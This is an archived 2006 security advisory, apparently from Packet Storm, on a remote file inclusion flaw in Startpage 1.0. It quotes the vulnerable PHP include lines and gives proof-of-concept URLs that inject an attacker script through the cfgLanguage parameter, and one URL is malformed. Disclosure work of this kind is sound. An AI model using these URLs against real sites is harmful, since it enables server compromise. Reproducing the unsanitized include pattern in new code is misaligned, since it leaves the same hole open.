Lucene search
K

startpage10.txt

🗓️ 27 Aug 2006 00:00:00Reported by Sh3llType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 26 Views

Startpage 1.0 Remote File Inclusion vulnerability in edit, functions, new, PageBottom, PageTo

Code
`--------------------------------------------------------------------------------------------  
Startpage 1.0 cfgLanguage Remote File Inclusion  
--------------------------------------------------------------------------------------------  
Author : Sh3ll  
Date : 2006/08/10  
HomePage : http://www.sh3ll.ir  
Contact : sh3ll[at]sh3ll[dot]ir  
--------------------------------------------------------------------------------------------  
Affected Software Description:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Application : Startpage  
version : 1.0  
Venedor : http://matthijs.draijer.org  
Class : Remote File Inclusion  
Risk : High  
Summary :   
Startpage v1.0 Is a Script Which Shows Your Favortie Links.  
--------------------------------------------------------------------------------------------  
Vulnerability:  
~~~~~~~~~~~~~  
The Problem Exists Is in The edit.php , functions.php , new.php PageBottom.php & PageTop.php  
When Used The Variable $cfgLanguage in a include() Function Without Being Declared.  
----------------------------------------edit.php--------------------------------------------  
...  
<?php  
include ("language_$cfgLanguage.php");  
?>  
...  
----------------------------------------functions.php---------------------------------------  
...  
<?php  
include ("config.php");  
include ("language_$cfgLanguage.php");  
?>  
...  
----------------------------------------new.php---------------------------------------------  
...  
<?php  
include ("config.php");  
include ("functions.php");  
include ("PageTop.php");  
include ("language_$cfgLanguage.php");  
connect_db();  
?>  
...  
----------------------------------------PageBottom.php--------------------------------------  
...  
<?php  
include ("config.php");  
include ("language_$cfgLanguage.php");  
?>  
...  
----------------------------------------PageTop.php-----------------------------------------  
...  
<?php  
include ("config.php");  
include ("language_$cfgLanguage.php");  
?>  
...  
--------------------------------------------------------------------------------------------  
PoC:  
~~~  
http://www.target.com/[Startpage]/edit.php?=[Evil Script]  
http://www.target.com/[Startpage]/functions.php?cfgLanguage=[Evil Script]  
http://www.target.com/[Startpage]/new.php?cfgLanguage=[Evil Script]  
http://www.target.com/[Startpage]/PageBottom.php?cfgLanguage=[Evil Script]  
http://www.target.com/[Startpage]/PageTop.php?cfgLanguage=[Evil Script]  
  
Solution:  
~~~~~~~~  
Sanitize Variabel $cfgLanguage in edit.php , functions.php , new.php , PageBottom.php   
& PageTop.php  
--------------------------------------------------------------------------------------------  
Note:  
~~~~  
Venedor Contacted, But No Response. So Do a Dirty Patch.  
--------------------------------------------------------------------------------------------  
Shoutz:  
~~~~~~  
~ Special Greetz To My Best Friend N4sh3n4s & My GF Atena  
~ To All My Friends in Xmors - Aria - Hackerz & Other Iranian Cyber Teams   
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation